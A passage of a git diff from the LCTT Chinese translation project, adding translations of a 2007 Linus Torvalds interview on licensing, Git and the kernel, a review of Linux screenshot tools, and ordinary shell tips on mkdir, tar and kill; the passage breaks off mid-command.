You》杂志在2007年进行的,现在我们发表在这里是为了存档的目的。 + +**Q:对于 Linux 内核,未来的计划/道路/提升是怎样的?** + +Linus:我从来没有太多的预见性 — 与其从宏大的计划上看未来,我倾向于从一个相对短的时间框架,比如“几个月之后的事情”。我是一个忠实的‘细节成败论’的信仰者,如果你抓住了细节,再大的问题也会大事化小,小事化无。 + +所以,对于五年后内核会是什么样,我真的没有任何远见 — 仅仅是希望我们能够持续专注于Linux的发展。实际上,对于我个人来说,我最担心的事情之一甚至不是技术问题,而是确保这个‘过程’正常,这样人们才可以相互协作好。 + +**Q:你怎么看 Linux 和 Solaris 之间的关系在未来的发展?它会如何使用户受益?** + +Linus:我并没有看到太多交叉的地方,除了我认为 Solaris 会使用更多的 Linux 用户空间工具(对我自己来说并没有太多关注这个,因为我真的只关心内核)。Linux 桌面比起传统 Solaris 桌面好多了,而且我希望 Solaris 移植越来越多的 Linux 的东西,朝着一个更加类 Linux 的模式前进。(LCTT 译注:时至今日,我们还需要讨论 Solaris 吗?/cry ,但是当时,整个开源社区确实期望接受 Solaris 一些遗产。) + +从纯内核方面讲,许可证的存在意味着没有太多的合作空间,但是如果这种情况发生改变将会变得很有趣。Sun 已经声称将在 GPL(v2 或 v3)下授权 Solaris,如果这种许可证的差异消失,那么会导致一些有趣的技术出现。但对此,我持观望态度。 + +**Q:现在 GPL v3 已经完成并发布了,你是否预见有什么情况会鼓励你开始移植内核到 Solaris 上去?或者,从你的角度看,它是否很糟糕以至于你从来没考虑过它?** + +Linus:我觉得相比于早先的草稿,v3 有了很多提高,并且我也不认为它是一个糟糕的许可证。我只是认为它没有 GPLv2 一样‘伟大’。 + +所以,如果没有 GPLv2,我觉得自己将会使用 GPLv3。不过,既然我已经有了一个更好的选择,我为什么还要考虑它呢? + +这就是说,我始终秉承实用主义精神,并且我认为“ GPLv3 不像 GPLv2 一样好”这件事并不是一个‘非黑即白’的问题。这就像是一个天平,如果 GPLv3 有了其他的优点作为砝码,很有可能那些优点会让我对 GPLv3 更偏爱一些。 + +恕我直言,我到现在还并没有看到任何优点,但是如果 Solaris 真的在 GPLv3 下发布,可能避免不必要的许可证不兼容性这一条就分量足够了,足以值得我们去尝试将 Linux 的内核重新在 GPLv3 许可证下发布。不过,请不要误解,我认为这是不大可能的。但是我确实想澄清我本质上并不是一个许可证偏执者。我认为 GPLv2 是毫无疑问的好许可证,但是许可证并不是一切。(LCTT 译注:事实上,Solaris/OpenSolaris 最终也没采用 GPL 许可协议发布,而 20100年之后,已经没有什么动静了。而 Linux 内核最终也没有更换到 GPLv3 上。) + +总的来说,我使用很多其他许可证下的程序。我可能没有把任何一个我自己做的项目放在 BSD(或 X11—MIT)许可证下,但是我认为它是一个伟大的许可证,对于其他项目来说,它可能是最佳的选择。 + +**Q:目前有没有任何你想特别提出作为 Linux 内核的关键贡献者的印度人?** + +(LCTT 译注:本篇访谈中提到多次印度,是因为访谈者是印度人。) + +Linus:我不得不承认,我并没有与来自印度的任何人直接合作过,尽管我已经非常有意识地努力建立一个规模庞大的内核开发团队,这样我不用总是独自工作。 + +我相信大多数人的社交基本上是受限制的,只对很少的人十分了解(比如你最亲近的家人和朋友),我也努力构造这样一个开发模型来改变这种状况:通过一个‘开发者网络’,人们可以在此互动,可能是与一批你信任的人,而且那些人反过来与他们信任的一群人互动。 + +所以,我偶然会与上百个发给我一两个不确定的补丁的开发者联系。我试着去建立一些由我熟知的人组成的小团体,我认为那就是人们工作的方式,当然也是我喜欢工作的方式。 + +同时,坦白地说,我甚至不知道许多与我一起工作的人生活在哪里。地理位置成了十分次要的东西。所以我很确信与我工作最紧密的前10—15个人中,没有印度的,可能这话稍后传到公众耳里,然后被指出确实有一些人来自那里! + +**Q:因为 Linux 的内核开发对你依赖如此严重,你如何计划组织或重组,让它在没有你的情况下继续发展,假设你决定花更多的时间在你自己的生活和家庭上面的话?** + +Linus:现在 Linux 比我重要得多,为了今天这一步我已经工作了很长时间。是的,我仍然十分密切地参与其中,而且我对其有着想当大的日常影响,我最终会是这样一个人——在某种程度上,扮演着许多内核开发活跃者的中心;但是,我不会说 Linux “严重依赖”于我。 + +所以,如果我得了心脏病并且明天就死了(很高兴没这种可能:我显然在任何方面都很健康),人们肯定会注意到,但是有成千上万的人为内核工作,并且不止一两个人能够毫无困难地接替我的角色。 + +**Q:印度是软件工程师的主要产地之一,但是我们没有在 Linux 领域做太多贡献。你觉得为什么印度人没有积极参与Linux?如果我们鼓励印度人参与并为 Linux 做更大的贡献,你觉得如何?你会乐意用你个人作为榜样激励印度工程师吗?** + +Linus:对我来说,这确实是一个不好回答的问题。参与开源取决于两方面的基础条件:信息流和文化(用你的话说是互联网和教育),我甚至不知道这其中哪个是最大的障碍。 + +在很多方面,至少在那些印度讲英语文化的地方,参与 Linux 和其他开源项目是相对容易的,如果仅仅是由于语言门槛的话。这当然比起亚洲的许多地方,甚至欧洲的一些地方要容易些。 + +当然,这只是一些人,并不等同于印度的大部分群体,而且我自己关于印度的情况也知道不多,甚至没法不太负责的猜测最好的途径是什么。我猜一个热情的本地用户社区会是最好的途径,而且我猜测你们已经拥有这样的社区了。 + +至于我的‘偶像’形象,我自己不以为然。我不是一个伟大的公众演讲者,而且我最近些年已经避免出游,因为被看做符号化的‘偶像’让我很不自在。我就是一个工程师而已,而且我仅仅是喜欢我做的事情,并与社会上其他人一起工作。 + +**Q:什么样的理由会让你考虑去访问印度?** + +Linus:如前一个回答中提到,我十分讨厌公开演讲,所以我才想避免开会等等这些事。我更愿意某天去印度度个假,但是如果我这样做,我可能悄悄地干 — 出行之前不告诉任何人,仅仅作为一个游客去游览印度!(LCTT 译注:所以 Linus 不来中国的道理是同样的,除非在中国召开一次世界性的 LinuxCon。) + +**Q:最近你好像在抨击 Subversion 与 CVS,质问他们的架构基础。现在你已经从 Subversion 和 CVS 社区那里得到回应,你是否改变了看法,还是说并没有被说服?** + +Linus:因为我发现这个争论很有趣,所以我想做一个强硬的声明。换句话说,我确实‘喜欢’争论。并不是不经思考的,但是我确实想要让争论更热烈些,而不仅仅是完全的柏拉图式的。 + +做出强硬的争论有时会引来一个非常合理的反驳,然后我会很高兴地说:“噢,好吧,你是对的。” + +但是话说回来,对 SVN/CVS 并不会发生这种情况。我怀疑很多人并不是真的很喜欢 CVS,所以我真的不觉得会有谁坚持认为 CVS 就是一切,而不是一个老旧系统。要是我知道之前就有人这样认为的话,我就不会那么不礼貌地反对 SVN(嘿,这么说没错 — 我真的不是一个非常礼貌的家伙!),我不相信任何人会认为 SVN 是‘好的’。 + +我认为,SVN 就是一个‘还好’的经典案例。人们过去经常使用 SVN,并且它也‘还好’地广泛使用,但是它的‘还好’就如 DOS 与 Windows 的‘还好’一样。不是什么伟大的技术,只是普遍适用而已,同时它对人们来说运行良好,看着十分熟悉。但是很少有人以此为傲,或者对其感到兴奋。 + +Git,从另外方面讲,其身后有一些‘UNIX 哲学’,这和 UNIX 无关。实质上,就像原始的 UNIX,在它身后有一个基本理念。对 UNIX 来说,最底层的哲学就是,“所有东西只是一个文件”。对 Git 来说,“则是每个东西只是内容寻址数据库中的一个对象”。 + +**Q:现在如此多的发行是好事还是坏事?选择是很有意思的,但是选择太多了就是干扰。相较于这么多的人每天花费数小时去构建成百上千的发行版,如果人们可以一起来支持少数的发行版,这样在企业级市场去挑战微软是不是更容易些呢?对此你怎么看?** + +Linus:我认为多个发行版是开源不可回避的部分。它会造成困惑吗?当然。它会变得低效率吗?是的。但是我喜欢拿它与政治比较:‘民主’也有那些令人困惑的选择,往往没有任何一个选择是你‘真正’想要的。而且有时候,如果你不需要操心选举、不同党派和联合等等方面的困惑的话,你可能会感觉事情更加容易一些,更有效率一些。 + +但是最后我想说,选择可能会导致低效率,但是它也让每个人至少保留了‘所谓的’诚信。我们可能都希望我们的政治家更诚信,我们也希望不同的发行版可以让我们有一天有其他的选择,而如果没有选择的话,事情可能会更糟。 + +**Q:为什么你觉得 CFS 比 SD 更好?** + +Linus:一部分原因是我与 Ingo [Molnar] 工作过很长一段时间,也就是说,我了解他,并且知道他会对发生的任何问题非常负责。那种品质是非常重要的。 + +但是一部分原因就简单的与用户有关,大多数人实际上表示 CFS 比 SD 好。包括许多 3D 游戏方面(这是人们声称 SD 最强的一点)。 + +尽管如此,我认为并不是任何一段代码都十分‘完美’。最好的情况是,想成为 SD 支持者的人会努力提高 SD,从而通过其它方式取得了平衡 — 而我们会保持两个阵营都尝试有趣的事情,因为内部的竞争会刺激他们。 + +**Q:在 Google 的一次关于 Git 的访谈中,有人问你如何将当前集中存放的超大代码库迁移到 git 上,而不用将开发工作停止六个月。你对此的回答是什么?** + +Linus:啊哈,那个问题我在现场没有听清楚(在录音里,问题会听得更清楚些),当我回头去听录制的音频,注意到了我没有回答他的问题,但是我觉得这问题他问过。 + +无论如何,我们确实有很多导入的工具,所以你实际上可以仅仅是将一个大的项目从任何其他的早期的 SCM (源代码控制系统)导入到 git 里,但问题显然不是经常以导入动作本身结束,而是需要‘习惯’这种新模式! + +坦白来说,我认为关于如何‘习惯它’没有任何其他答案,而只能是去开始使用和尝试它。显然,你不会冒险率先导入你现有的最大、最重要的项目,那确实会导致工作停顿下来,然后使得每个人都很不高兴。 + +所以没有任何理智健全的人会拥护在一夜之间将一切移到 git 上去,并强迫人们改变他们的环境。是的,你需要从公司里的小项目开始,可能是一些由一个小组主要控制和维护的项目,然后开始转移其到 git。这是你能让人们习惯这种模式的方式,你应该以一个核心的组开始,他们知道 git 如何工作,如何在公司里面使用它。 + +接着,你就会铺展开来。并不需要一次到位。你会导入越来越多的项目 — 甚至是在你公司里采用‘单一大型仓库’模式;那个仓库基本上是作为许多模块的集合,因为让每个人去检查每件事不是一个可执行的工作模型(除非这个‘每件事’并不非常大)。 + +所以,你基本上只会一次转移一个模块,直到你发现使用 git 是如此酸爽,这时你可以移植余下的所有(或者‘余下’的太旧了,没有人用了)。 + +git 最赞的一个功能是,它实际上可以同很多其他 SCM 相处很好。很多 git 用户使用它的时候,与他们一起工作的人并没有发现,因为他们看到 git 的结果,会联想到一些传统的 SCM 上去。 + +**Q:Linux 用了你在 Transmeta(全美达)上实现备用指令集的经验吗?[Transmeta Crusoe 芯片看起来像一个非常轻量级的 CPU — 记得有一台 Burroughs B1000 解释器,它实际上实现了多个虚拟机。有的用于系统软件,有的用于 Cobol,还有的用于 Fortran;如果没错的话,那么人们可以在芯片上实现 Burroughs 6/7000 或者 HP3000 类似的堆栈架构,或适用于 JVM 的指令集,等等。(LCTT 译注:Linus 于 1997-2003 期间就职于全美达)]** + +Linus:我们确实有一些备选的结构集合,不过我不打算谈论太多这个,我可以说的是我们已经做了一个混合结构集合的公开演示。我们有一个技术展示,在那里你同时可以跑 x86 指令和 Java 字节码(实际上,它是一个轻量的扩展 pico—java,iirc)。 + +我想我们展示的这个应用会在 Linux 上运行 DOOM,这里 Linux 的部分是一个完全标准 x86 发行版。但是 DOOM 的二进制程序是一个特定的编译版本,它实际上编译为 pico-java 代码。而 CPU 最终以相同的方式来运行它们——从 JIT 到原生 VLIW 指令集。 + +(选择 DOOM 的原因仅仅是其源代码可用,并且游戏的核心部分非常小,足以很容易拿它来做一个验证 — 而且它也显然看起来十分有趣。) + +有更多的事情是在内部运作,但是我不能谈论他们。而且实际上,就我个人而言,对 Java 不怎么感冒。 + +**Q:386BSD 衍生了 NetBSD,FreeBSD 和 OpenBSD,在 Linux 出现之前已经发展不错了,但是 Linux 传播比 386BSD 及其衍生者更为广泛。这在多大程度上左右你对许可证的选择,这个选择的发展过程是怎样的?你不认为比起 GPLv2 来,是 GPLv3 创造了发展空间,迄今为止,让 Linux 比 BSD 变得更好?** + +Linus:我认为这不仅是一个许可证问题,也是一个社区及人格问题。BSD 的许可证总是鼓励分叉,但是这也意味着,如果某些人取得了成功并做了商业性的分叉,他并不需要将他的修改返回来。因此,哪怕实际上这种事情没有(而实际上,这种事情的确发生了,比如 BSDi),人们也难以建立彼此信任。 + +相比之下,GPLv2 也鼓励分叉,但是它不仅仅鼓励分叉出去,它也鼓励(并‘要求’)能够融合回来。所以,我们现在达到了新的层次的信任:你‘知道’每个人都被许可证所约束,所以每个人都不会占你便宜。 + +所以,在我看来,GPLv2 作为许可证来说,它允许人们在要求总是回馈贡献的前提下,在另外的方面取得了最大可能的自由。没有人能阻止你对源代码的改进。 + +那么,BSD 许可证是更‘自由’的吗?是的,毫无疑问。但是我不会在我在意的任何项目里面使用 BSD 许可证,因为我不仅仅想要自由,我也想要信任,可以让我总是能使用其他人为我的项目所写的代码。 + +所以对于我来说,GPLv2 最终在‘尽可能自由’上取得了完美的平衡,这样,我们做到了让每个人都能信任,他们总是可以取得源代码并使用它。 + +这就是为什么我认为 GPLv3 最终并没多大意思,它不再是那种‘返回源代码’的信任;它退化成了‘我写了这些代码,所以我能控制你如何使用它’。 + +换言之,我只是觉得 GPLv3 太狭隘和自私了。我认为 GPLv2 在‘自由’和‘信任’之间取得伟大的平衡。它不如 BSD 许可证自由,但是它让你安心回馈,而且它符合我认为的‘以德报德’:我给你源代码,你也回馈我源代码。 + +而 GPLv3 试着控制源代码的‘使用’。现在它就是“我给你我的源代码,如果你使用它的话,你就准备好让我对你的设备动手动脚吧”,看见了没?在我看来,不但小气,而且小心眼。 + +**Q:-rt 代码树的功能正在缓慢而稳定地逐渐集成到主线代码中。你对将剩余的 -rt 树合并到主线代码的看法是什么?(我说的不是 CFS)** + +Linus: 我不能保证来自 -rt 的一切‘都’会被合并进入标准内核(有一些部分肯定不适合常规的内核),不过是的,这些年来我们实际上将它的大部分都集成进去了,剩下的部分最终以后也会合并进去。 + +我提倡高效工作,但是我同时也很保守。我退回了一些激进的合并请求,只是因为我需要确保它们对我们所有人都有意义,不仅仅是用于极端情况下的实时环境,而且也对并不需要这种环境的‘普通’用户有用。这解释了为什么这个过程相当缓慢却稳定不断地合并代码,因为它需要足够稳定和有意义。 + +顺便说一句,这不仅仅是针对 -rt ,它也出现在许多开发中。-rt 出现这种情况是因为它是更‘直接’的内核项目,而且也是因为它的一个主要开发者直接参与到了常规内核开发。通常其它功能的迁移(安全、虚拟内核变化、虚拟化,等等)也遵循类似的方式:他们针对特定的环境进行开发,然后这些功能片段缓慢而稳步地合并到标准内核。 + +**Q:我对 Linux 内核所支持的文件系统发展很感兴趣。你觉得 Reiser4、XFS4、ZFS 以及 Oracle 的新项目哪个更有前途?这些天 ZFS 有不少新闻,Reiser4 也发布了很不错的性能基准测试,XFS4 正紧随其后,而 Oracle 发布的那个也有很多像 Sun 的 ZFS 一样的特性。我们将走向何方呢?以你的观点来看,哪个文件系统更有前途?** + +Linus: 实际上,就在昨天我们发现了一个 git 的性能问题,有一个用户发现他采用 ZFS 要比 UFS 慢一个数量级(不是在 Linux 下,git 已经得到了许多关注,甚至是来自内核开发团队之外)。所以,我认为许多‘新文件系统’的拥护者部分原因是因为他们了解到旧文件系统的不足,然后(有点不切实际地)期望一个‘崭新的、改进的’文件系统能使一切都完美。 + +最后,这是一个永无止境的领域,看看谁是最终的赢家——也许并不需要(看起来不需要)一个赢家。几乎总是这样,对文件系统的选择最终取决于负载和环境。 + +相比你提到的这些文件系统,我个人对基于闪存的硬盘很快就可以供甚至是‘普通’用户使用的这个事实更感到兴奋。当然,它们仍然很昂贵(而且相当的小),但是基于闪存的存储和传统硬盘的性能完全不可同日而语,我怀疑它们最终将对文件系统的设计有巨大的影响。而现在,多数文件系统的设计都是在考虑如何处理硬盘延迟。 + +**Q:操作系统变得越来越不重要。你说过好几次用户根本不应该‘看见’操作系统。应用更为重要。基于浏览器的应用,如 Google 的办公软件影响力越来越大。你认为操作系统将走向何方?** + +Linus:我并不真的认可‘浏览器 OS’,因为我认为人们总是需要在本地做一些事情。也许是因为安全,或者仅仅是因为隐私的原因。而且即便当到处可以接入时,它也并不是‘无处不在’。 + +所以我认为,整个‘Web OS’这件事有一部分是真实的,但是另外一部分人们也许忘记了操作系统已经存在了几十年,它已经相当稳定,而且它的发展是有目共睹的。人们真的不应该期望操作系统有魔法般的变化,现在已经不是操作系统刚刚起步的六十年代,甚至连硬件也和过去完全不同了! + +所以,别指望一场革命。我认为操作系统将在很大程度上继续它们所擅长的,当然,我们也会进步,但是我不认为会从根本上改变。也许会发生巨变的是界面和操作系统顶层的那些东西(当然,操作系统下面的硬件也会继续进步),这显然才是人们所关心的。 + +至于操作系统?它显然是应该尽可能隐藏起来的东西。你真的不应该在意它,除非你特别想知道在机器里面真正在发生什么。 + +**Q:最近我听说你正在使用一台 PPC G4/5 作为个人计算机,你使用它来做什么?为什么呢?** + +Linus:我最终放弃了那台 PowerPC,因为没有人能在这台工作站上做到更多,特别是,自从 x86-64 开始变得越来越强大了。所以这些天,我在用一台标准的 PC,里面是一个普通的 Core 2 Duo CPU。 + +在其它架构下运行是非常有趣的(alpha 作为我的主要架构运行了好几年,所以这并不是第一次),但是这种 CPU 得当成商品买得到才行。我认为,唯一能取代 x86 架构的,也许未来十年并不需要使用 x86 作为主要架构,我认为或许是 ARM,这得益于移动设备市场的发展。 + +**Q:Linux 对你意味着什么?一种业余爱好、哲学、人生意义、工作、最好的操作系统,还是什么?** + +Linus:它是所有的这一切。它是爱好,而且是具有深刻意义的爱好。最好的爱好是你‘真的’非常在意它。这些日子里,它显然也是我的工作,我非常高兴工作和兴趣能合二为一。 + +我不了解所谓的‘哲学’,我并不真的是因为深层次的道德或哲学的原因才做的 Linux,但是可以肯定的是,对开源的深层思考是我非常重视的。所以我并不是因为什么明确的理由做 Linux,也不能说是它在激励我,但是我的确在思考开源是如何工作。 + +**Q:微软的‘黑衣人’有没有和你交谈过?** + +Linus:我从来没有真正和微软交谈过,没有。我偶尔会和一些微软的人出现再同一个会议上(我比以前参加的会议更多了),但是我从来和他们没有任何关系。我认为彼此都很谨慎吧。 + +-------------------------------------------------------------------------------- + +via: http://www.linuxveda.com/2015/06/17/what-happens-to-linux-after-linus/ + +作者:[Swapnil Bhartiya][a] +译者:[wi-cuckoo](https://github.com/wi-cuckoo),[wxy](https://github.com/wxy) +校对:mahua, [wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.linuxveda.com/author/arnieswap/ + diff --git a/published/201507/20150625 Screen Capture Made Easy with these Dedicated Tools.md b/published/201507/20150625 Screen Capture Made Easy with these Dedicated Tools.md new file mode 100644 index 0000000000..965b19d008 --- /dev/null +++ b/published/201507/20150625 Screen Capture Made Easy with these Dedicated Tools.md @@ -0,0 +1,151 @@ +用这些专用工具让你截图更简单 +================================================================================ +“一图胜千言”,这句二十世纪早期在美国应运而生的名言,说的是一张单一的静止图片所蕴含的信息足以匹敌大量的描述性文字。本质上说,图片所传递的信息量的确是比文字更有效更高效。 + +截图(或抓帧)是一种捕捉自计算机的快照或图片,用来记录可视设备的输出。屏幕捕捉软件能从计算机中获取到截图。此类软件有很多用处,因为一张图片能很好地说明计算机软件的操作,截图在软件开发过程和文档中扮演了一个很重要的角色。或者,如果你的电脑有了技术性问题,一张截图能让技术支持理解你碰到的这个问题。要写好计算机相关的文章、文档和教程,没有一款好的截图工具是几乎不可能的。如果你想保存你放在屏幕上的一些零星的信息,特别是不方便打字时,截图也很有用。 + +在开源世界,Linux有许多专注于截图功能的工具供选择,基于图形的和控制台的都有。如果要说一个功能丰富的专用截图工具,看起来没有能超过Shutter的。这款工具是小型开源工具的杰出代表,但是也有其它的不错替代品可以选择。 + +屏幕捕捉功能不仅仅只有专门的工具提供,GIMP和ImageMagick这两款主攻图像处理的工具,也能提供像样的屏幕捕捉功能。 + + +### Shutter ### + +![Shutter in action](http://www.linuxlinks.com/portal/content/reviews/Graphics/Screenshot-Shutter1.png) + +Shutter是一款功能丰富的截图软件。你可以对特定区域、窗口、整个屏幕甚至是网站截图 - 并为其应用不同的效果,比如用高亮的点在上面绘图,然后上传至一个图片托管网站,一切尽在这个小窗口内。 + +包含特性: + +- 截图范围: + - 一个特定区域 + - 窗口 + - 完整的桌面 + - 脚本生成的网页 +- 在截图中应用不同效果 +- 热键 +- 打印 +- 直接截图或指定延迟时间截图 +- 将截图保存至一个指定目录并用一个简便方法重命名它(用指定通配符) +- 完全集成在GNOME桌面中(TrayIcon等等) +- 当你截了一张图并根据尺寸的百分比直接生成缩略图 +- Shutter会话集: + - 跟踪会话中所有的截图 + - 复制截图至剪贴板 + - 打印截图 + - 删除截图 + - 重命名文件 +- 直接上传你的文件至图像托管网站(比如 http://ubuntu-pics.de ),得到链接并将它们与其他人分享 +- 用内置的绘画工具直接编辑截图 + +--- + +- 主页: [shutter-project.org][1] +- 开发者: Mario Kemper和Shutter团队 +- 许可证: GNU GPL v3 +- 版本号: 0.93.1 + + +### HotShots ### + +![HotShots in action](http://www.linuxlinks.com/portal/content/reviews/Graphics/Screenshot-HotShots.png) + +HotShots是一款捕捉屏幕并能以各种图片格式保存的软件,同时也能添加注释和图形数据(箭头、行、文本 ...)。 + +你也可以把你的作品上传到网上(FTP/一些web服务),HotShots是用Qt开发而成的。 + +HotShots无法从Ubuntu的Software Center中获取,不过用以下命令可以轻松地来安装它: + + sudo add-apt-repository ppa:ubuntuhandbook1/apps + sudo apt-get update + sudo apt-get install hotshots + +包含特性: + +- 简单易用 +- 功能完整 +- 内置编辑器 +- 热键 +- 内置放大功能 +- 手动控制和多屏捕捉 +- 支持输出格式:Black & Whte (bw), Encapsulated PostScript (eps, epsf), Encapsulated PostScript Interchange (epsi), OpenEXR (exr), PC Paintbrush Exchange (pcx), Photoshop Document (psd), ras, rgb, rgba, Irix RGB (sgi), Truevision Targa (tga), eXperimental Computing Facility (xcf), Windows Bitmap (bmp), DirectDraw Surface (dds), Graphic Interchange Format (gif), Icon Image (ico), Joint Photographic Experts Group 2000 (jp2), Joint Photographic Experts Group (jpeg, jpg), Multiple-image Network Graphics (mng), Portable Pixmap (ppm), Scalable Vector Graphics (svg), svgz, Tagged Image File Format (tif, tiff), webp, X11 Bitmap (xbm), X11 Pixmap (xpm), and Khoros Visualization (xv) +- 国际化支持:巴斯克语、中文、捷克语、法语、加利西亚语、德语、希腊语、意大利语、日语、立陶宛语、波兰语、葡萄牙语、罗马尼亚语、俄罗斯语、塞尔维亚语、僧伽罗语、斯洛伐克语、西班牙语、土耳其语、乌克兰语和越南语 + +--- + +- 主页: [thehive.xbee.net][2] +- 开发者 xbee +- 许可证: GNU GPL v2 +- 版本号: 2.2.0 + +### ScreenCloud ### + +![ScreenCloud in action](http://www.linuxlinks.com/portal/content/reviews/Graphics/Screenshot-ScreenCloud.png) + +ScreenCloud是一款易于使用的开源截图工具。 + +在这款软件中,用户可以用三个热键之一或只需点击ScreenCloud托盘图标就能进行截图,用户也可以自行选择保存截图的地址。 + +如果你选择上传你的截图到screencloud网站,链接会自动复制到你的剪贴板上,你能通过email或在一个聊天对话框里和你的朋友同事分享它,他们肯定会点击这个链接来看你的截图的。 + +包含特性: + +- 捕捉整个屏幕,窗口和截选区域 +- 快速又简单:截取图片,粘贴链接,完成 +- 免费托管你的截图 +- 热键 +- 设置定时器延迟 +- 允许 '捕捉窗口边框' +- 启用/禁用通知 +- 设置开机自启动 +- 调整账户/上传/文件名/快捷方式的设置 +- 跨平台工具 +- 插件支持:保存至Dropbox,Imgur等等 +- 支持上传至FTP和SFTP服务器 + +--- + +- 主页: [screencloud.net][3] +- 开发者: Olav S Thoresen +- 许可证: GNU GPL v2 +- 版本号: 1.2.1 + +### KSnapshot ### + +![KSnapShot in action](http://www.linuxlinks.com/portal/content/reviews/Graphics/Screenshot-KSnapshot.png) + +KSnapshot也是一款易于使用的截图工具,它能给整个桌面、单一窗口、窗口的一部分或一块所选区域捕捉图像。图像能以各种不同格式保存。 + +KSnapshot也允许用户用热键来进行截图。除了保存截图之外,它也可以被复制到剪贴板或用任何与图像文件关联的程序打开。 + +KSnapshot是KDE 4图形模块的一部分。 + +包含特性: + +- 以多种格式保存截图 +- 延迟截图 +- 剔除窗口装饰(边框、菜单等) +- 复制截图至剪贴板 +- 热键 +- 能用它的D-Bus接口进行脚本化 + +--- + +- 主页: [www.kde.org][4] +- 开发者: KDE, Richard J. Moore, Aaron J. Seigo, Matthias Ettrich +- 许可证: GNU GPL v2 +- 版本号: 0.8.2 + +-------------------------------------------------------------------------------- + +via: http://www.linuxlinks.com/article/2015062316235249/ScreenCapture.html + +译者:[ZTinoZ](https://github.com/ZTinoZ) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[1]:http://shutter-project.org/ +[2]:http://thehive.xbee.net/ +[3]:https://screencloud.net/ +[4]:https://www.kde.org/applications/graphics/ksnapshot/ diff --git a/published/201507/20150629 4 Useful Tips on mkdir, tar and kill Commands in Linux.md b/published/201507/20150629 4 Useful Tips on mkdir, tar and kill Commands in Linux.md new file mode 100644 index 0000000000..fba679fde3 --- /dev/null +++ b/published/201507/20150629 4 Useful Tips on mkdir, tar and kill Commands in Linux.md @@ -0,0 +1,206 @@ +Linux mkdir、tar 和 kill 命令的 4 个有用小技巧 +================================================================================ +我们一直以常规的方式完成一个任务,直到我们知道有更好的处理方法。作为 [Linux 技巧和绝招系列][1] 的后续,我会在这里介绍能在各个方面给你帮助的 4 个小技巧。开始吧! + +![有用的 Linux 小技巧](http://www.tecmint.com/wp-content/uploads/2015/06/Linux-Useful-Tips.jpg) + +*4 个有用的 Linux 小技巧* + +### 1. 假设你要创建一个类似于下面很长的/复杂的目录树。实现这最有效的方法是什么呢? ### + +类似下面要实现的目录树结构。 + + $ cd /home/$USER/Desktop + $ mkdir tecmint + $ mkdir tecmint/etc + $ mkdir tecmint/lib + $ mkdir tecmint/usr + $ mkdir tecmint/bin + $ mkdir tecmint/tmp + $ mkdir tecmint/opt + $ mkdir tecmint/var + $ mkdir tecmint/etc/x1 + $ mkdir tecmint/usr/x2 + $ mkdir tecmint/usr/x3 + $ mkdir tecmint/tmp/Y1 + $ mkdir tecmint/tmp/Y2 + $ mkdir tecmint/tmp/Y3 + $ mkdir tecmint/tmp/Y3/z + +上述情况可以简单地通过运行下面一行命令来实现。 + + $ mkdir -p /home/$USER/Desktop/tecmint/{etc/x1,lib,usr/{x2,x3},bin,tmp/{Y1,Y2,Y3/z},opt,var} + +你可以用 tree 命令验证。如果没有安装你可以使用 apt 或 yum 安装 ‘tree’ 软件包。 + + $ tree tecmint + +![检查目录结构](http://www.tecmint.com/wp-content/uploads/2015/06/Check-Directory-Structure.png) + +*检查目录结构* + +我们可以用上面的方式创建任意复杂的目录树结构。注意这仅仅是一个普通的命令,但是用 ‘{}’ 来创建层级目录。需要的时候如果在 shell 脚本中使用是非常有用的。 + +### 2. 在桌面(/home/$USER/Desktop)创建一个文件(例如 test)并填入以下内容。 ### + + ABC + DEF + GHI + JKL + MNO + PQR + STU + VWX + Y + Z + +这种情况一个普通用户会怎么做呢? + +a. 他首先会创建文件,最好使用 [touch 命令][2],例如: + + $ touch /home/$USER/Desktop/test + +b. 他会用一个文本编辑器打开文件,这可能是 nano、vim 或其它编辑器。 + + $ nano /home/$USER/Desktop/test + +c. 然后他会将上面的内容输入到文件中,保存并退出。 + +忽略他/她使用的时间,他至少需要 3 步来执行上面的情况。 + +一个经验丰富的 Linux 用户会怎么做呢?他会在终端中输入下面的文本然后就完成所有任务。他不需要单独执行每一步。 + + cat << EOF > /home/$USER/Desktop/test + ABC + DEF + GHI + JKL + MNO + PQR + STU + VWX + Y + Z + EOF + +你可以用 ‘cat’ 命令检查是否成功创建了文件和内容。 + + $ cat /home/avi/Desktop/test + +![检查文件内容](http://www.tecmint.com/wp-content/uploads/2015/06/Check-File-Content.gif) + +### 3. 我们经常在 Linux 中处理归档文件(尤其是 TAR 包)。很多情况下我们会在某些位置,而不是在 Downloads 目录中使用 TAR 包。这种情况下我们怎么做呢? ### + +在这种情况下我们通常会做两件事。 + +a. 复制/移动 tar 包到目标位置并解压,例如: + + $ cp firefox-37.0.2.tar.bz2 /opt/ + 或 + $ mv firefox-37.0.2.tar.bz2 /opt/ + +b. cd 到 /opt/ 目录。 + + $ cd /opt/ + +c. 解压 tar 包。 + + # tar -jxvf firefox-37.0.2.tar.bz2 + +我们也可以采用另外一种方式。 + +我们也可以在 Tar 包所在位置解压并复制/移动解压后的文件到所需的目标位置,例如: + + $ tar -jxvf firefox-37.0.2.tar.bz2 + $ cp -R firefox/ /opt/ + 或 + $ mv firefox/ /opt/ + +不管哪种方式都需要两步才能完成任务。专业的人可以只用一步就完成这个任务: + + $ tar -jxvf firefox-37.0.2.tar.bz2 -C /opt/ + +-C 选项提取文件到指定目录(这里是 /opt/)。 + +这并不是关于选项(-C)的问题,**而是习惯的问题**。养成使用带 -C 选项 tar 命令的习惯。这会使你的工作更加轻松。从现在开始不要再移动归档文件或复制/移动解压后的文件了,在 Downloads 文件夹保存 tar 包并解压到你想要的任何地方吧。 + +### 4. 常规方式我们怎样杀掉一个进程? ### + +最普遍的方法,我们首先用 `ps -A` 命令列出所有进程,然后通过管道输入到 grep 来查找进程/服务(假如 apache2),如下: + + $ ps -A | grep -i apache2 + +#### 输出样例 #### + + 1006 ? 00:00:00 apache2 + 2702 ? 00:00:00 apache2 + 2703 ? 00:00:00 apache2 + 2704 ? 00:00:00 apache2 + 2705 ? 00:00:00 apache2 + 2706 ? 00:00:00 apache2 + 2707 ? 00:00:00 apache2 + +上面的输出显示了所有正在运行 apache2 的进程以及它们的 PID,然后你可以使用这些 PID 在下面命令的帮助下杀掉 apache2。 + + # kill 1006 2702 2703 2704 2705 2706 2707 + +然后交叉检查是否还有名称中包含 ‘apache2’ 的进程/服务在运行,如下: + + $ ps 